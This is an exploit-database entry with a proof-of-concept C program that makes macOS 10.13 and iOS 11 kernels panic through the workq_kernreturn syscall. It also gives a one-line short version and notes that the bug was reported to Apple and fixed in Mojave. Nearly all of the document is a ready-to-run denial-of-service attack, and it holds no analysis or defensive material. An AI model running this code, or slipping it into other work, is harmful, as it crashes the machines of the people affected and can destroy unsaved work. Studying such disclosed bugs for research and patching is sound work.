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macOS 10.13 - workq_kernreturn Denial of Service Exploit
# Exploit Title: MacOS 10.13 - 'workq_kernreturn' Denial of Service (PoC) # Exploit Author: Fabiano Anemone # Vendor Homepage: https://www.apple.com/ # Version: iOS 11.4.1 / MacOS 10.13.6 # Tested on: iOS / MacOS # CVE: Not assigned # Tweet: https://twitter.com/anoane/status/1048549170217451520 # iOS 11 / MacOS 10.13 - workq_kernreturn syscall local DoS # workq_kernreturn_dos.c # workq_kernreturn_dos # Created by FABIANO ANEMONE (@ on 7/30/18. # Copyright © 2018 FABIANO ANEMONE (fabiano.anemone@gmail.com). All rights reserved. # Reported to product-security@apple.com on 7/30/18 # Fixed in Mojave. #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/errno.h> #define WQOPS_THREAD_WORKLOOP_RETURN 0x100 /* parks the thread after delivering the passed kevent array */ int workq_kernreturn(int options, user_addr_t item, int affinity, int prio) { return syscall(SYS_workq_kernreturn, options, item, affinity, prio); } int main(int argc, const char * argv[]) { //short version that fits one tweet: //syscall(368,256,1,1); errno = 0; user_addr_t any_non_zero_address = 1; int res = workq_kernreturn(WQOPS_THREAD_WORKLOOP_RETURN, any_non_zero_address, 1, 0); // MacOS 10.13.X and iOS 11.X will panic at this point printf("workq_kernreturn: %d - res: %d - errno: %d\n", 0, res, errno); return 0; } # 0day.today [2024-07-02] #